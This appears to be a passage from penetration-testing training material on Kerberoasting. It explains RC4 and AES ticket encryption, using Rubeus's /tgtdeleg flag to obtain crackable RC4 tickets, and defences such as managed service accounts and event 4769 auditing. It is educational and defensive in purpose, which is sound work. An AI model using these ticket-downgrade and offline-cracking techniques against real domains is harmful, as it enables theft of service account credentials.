Kerberoasting tools typically request RC4 encryption when performing the attack and initiating TGS-REQ requests. This is because RC4 is weaker and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256. When performing Kerberoasting in most environments, we will retrieve hashes that begin with $krb5tgs$23$*, an RC4 (type 23) encrypted ticket. Sometimes we will receive an AES-256 (type 18) encrypted hash or hash that begins with $krb5tgs$18$*. While it is possible to crack AES-128 (type 17) and AES-256 (type 18) TGS tickets using Hashcat, it will typically be significantly more time consuming than cracking an RC4 (type 23) encrypted ticket, but still possible especially if a weak password is chosen.

---

We can use Rubeus with the /tgtdeleg flag to specify that we want only RC4 encryption when requesting a new service ticket.

Note: This does not work against a Windows Server 2019 Domain Controller, regardless of the domain functional level. It will always return a service ticket encrypted with the highest level of encryption supported by the target account. This being said, if we find ourselves in a domain with Domain Controllers running on Server 2016 or earlier (which is quite common), enabling AES will not partially mitigate Kerberoasting by only returning AES encrypted tickets, which are much more difficult to crack, but rather will allow an attacker to request an RC4 encrypted service ticket. In Windows Server 2019 DCs, enabling AES encryption on an SPN account will result in us receiving an AES-256 (type 18) service ticket, which is substantially more difficult (but not impossible) to crack, especially if a relatively weak dictionary password is in use.

It is possible to edit the encryption types used by Kerberos. This can be done by opening Group Policy, editing the Default Domain Policy, and choosing: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options, then double-clicking on Network security: Configure encryption types allowed for Kerberos and selecting the desired encryption type allowed for Kerberos. Removing all other encryption types except for RC4_HMAC_MD5 would allow for the above downgrade example to occur in 2019. Removing support for AES would introduce a security flaw into AD and should likely never be done. Furthermore, removing support for RC4 regardless of the Domain Controller Windows Server version or domain functional level could have operational impacts and should be thoroughly tested before implementation.

---

Mitigation and Detection

An important mitigation for non-managed service accounts is to set a long and complex password or passphrase that does not appear in any word list and would take far too long to crack. However, it is recommended to use Managed Service Accounts (MSA), and Group Managed Service Accounts (gMSA), which use very complex passwords, and automatically rotate on a set interval (like machine accounts) or accounts set up with LAPS.

Kerberoasting requests Kerberos TGS tickets with RC4 encryption, which should not be the majority of Kerberos activity within a domain. When Kerberoasting is occurring in the environment, we will see an abnormal number of TGS-REQ and TGS-REP requests and responses, signaling the use of automated Kerberoasting tools. Domain controllers can be configured to log Kerberos TGS ticket requests by selecting Audit Kerberos Service Ticket Operations within Group Policy.

Doing so will generate two separate event IDs: 4769: A Kerberos service ticket was requested, and 4770: A Kerberos service ticket was renewed. 10-20 Kerberos TGS requests for a given account can be considered normal in a given environment. A large amount of 4769 event IDs from one account within a short period may indicate an attack.

Some other remediation steps include restricting the use of the RC4 algorithm, particularly for Kerberos requests by service accounts. This must be tested to make sure nothing breaks within the environment. Furthermore, Domain Admins and other highly privileged accounts should not be used as SPN accounts (if SPN accounts must exist in the environment).

This Post by Sean Metcalf highlights some mitigation and detection strategies for Kerberoasting.